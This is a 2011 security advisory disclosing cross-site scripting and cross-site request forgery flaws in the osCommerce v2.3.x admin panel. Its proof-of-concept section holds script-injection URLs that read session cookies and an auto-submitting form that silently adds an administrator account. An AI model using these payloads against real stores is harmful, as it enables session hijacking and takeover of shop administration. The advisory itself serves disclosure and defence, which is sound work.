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osCommerce v2.3.x - Multiple Cross Site Vulnerabilities

🗓️ 31 Jul 2011 00:00:00Reported by Vulnerability Research LaboratoryType 
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 vulnerlab
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osCommerce v2.3.x - Multiple Cross Site Vulnerabilities discovered by Vulnerability-Lab Team. Low risk, non-persistent Cross-Site Scripting & Request Forgery in adminpanel

Code
Document Title:
===============
osCommerce v2.3.x - Multiple Cross Site Vulnerabilities



Release Date:
=============
2011-07-31


Vulnerability Laboratory ID (VL-ID):
====================================
241


Product & Service Introduction:
===============================
osCommerce has attracted a large growing e-commerce community that consists of
over 224,600 store owners and developers who support each other and extend
osCommerce Online Merchant with add-ons being contributed on a daily basis.
To date there are over 5,700 add-ons that are available for free to customize
osCommerce Online Merchant online stores and to help increase sales.

osCommerce Online Merchant is an Open Source online shop e-commerce solution
that is available for free under the GNU General Public License. It features
a rich set of out-of-the-box online shopping cart functionality that allows
store owners to setup, run, and maintain online stores with minimum effort and
with no costs, fees, or limitations involved.

With over 8 years of operation, osCommerce has built a showcase of over 12,700
online shops that have been voluntarily added to the live shops section, and
powers many thousands of more online shops worldwide.


Abstract Advisory Information:
==============================
Vulnerability-Lab Team discovered multiple Vulnerabilities on osCommerce.


Vulnerability Disclosure Timeline:
==================================
2011-08-02:	Vendor Notification
2011-00-00:	Vendor Response/Feedback
2011-00-00:	Vendor Fix/Patch
2011-00-00:	Public or Non-Public Disclosure


Discovery Status:
=================
Published


Exploitation Technique:
=======================
Remote


Severity Level:
===============
Low


Technical Details & Description:
================================
1.1
Multiple non-persistent Cross-Site Scripting are detected on the administrationpanel of osCommerce CMS.
Attackers can force manipulated client side requests via user inter action to hijack admin & customer sessions.

Vulnerable Module(s):
				[+] ?page=
				[+] ?selected_box=
				[+] orders_status



Pictures:
			../osc1.png


1.2
A client-side Cross Site Request Forgery vulnerability is detected on the administrationpanel of osCommerce CMS.

Vulnerable Module(s):
			                    	[+] Administrator 


Pictures:
			                       ../osc2.png



Proof of Concept (PoC):
=======================
The Vulnerabilities can be exploited by remote attacker with required user inter action. For demonstration or reproduce ...


1.1 Vulnerable Parameter (non-persistent) ...

Admin-Area
http://xxx.com/oscommerce/admin/currencies.php?page=%3E%22%3Cscript%3Ealert%28document.cookie%29%3C/script%3E%3Cdiv%20style=%221
http://xxx.com/oscommerce/admin/countries.php?page=1%27%22%3Ch1%3Eblob
http://xxx.com/oscommerce/admin/customers.php?selected_box=%3E%22%3Cscript%3Ealert%28document.cookie%29%3C/script%3E%3Cdiv%20style=%221
http://xxx.com/oscommerce/admin/orders_status.php?page=%3E%22%3Cscript%3Ealert%28document.cookie%29%3C/script%3E%3Cdiv%20style=%221


1.2 Cross-Site Request Forgery (non-persistent) ...

<html>
<title>Administrator Remote Exploit</title>
<body onLoad=javascript:document.xsrf.submit()>
<form  action="http://demo.opensourcecms.com/oscommerce/admin/administrators.php?action=insert" method="post" name="xsrf">
<input type="hidden" name="username" value="GlobalEvolution">
<input type="hidden" name="password" value="Smash@GE">
<input type="hidden" id="x" value="54">
<input type="hidden" id="y" value="5">
</form></body></html>


Security Risk:
==============
The security risk of both client side vulnerabilities are estimated as low.


Credits & Authors:
==================
Vulnerability Research Laboratory


Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without any warranty. Vulnerability-Lab disclaims all warranties, 
either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-
Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business 
profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some 
states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation 
may not apply. We do not approve or encourage anybody to break any vendor licenses, policies, deface websites, hack into databases 
or trade with fraud/stolen material.

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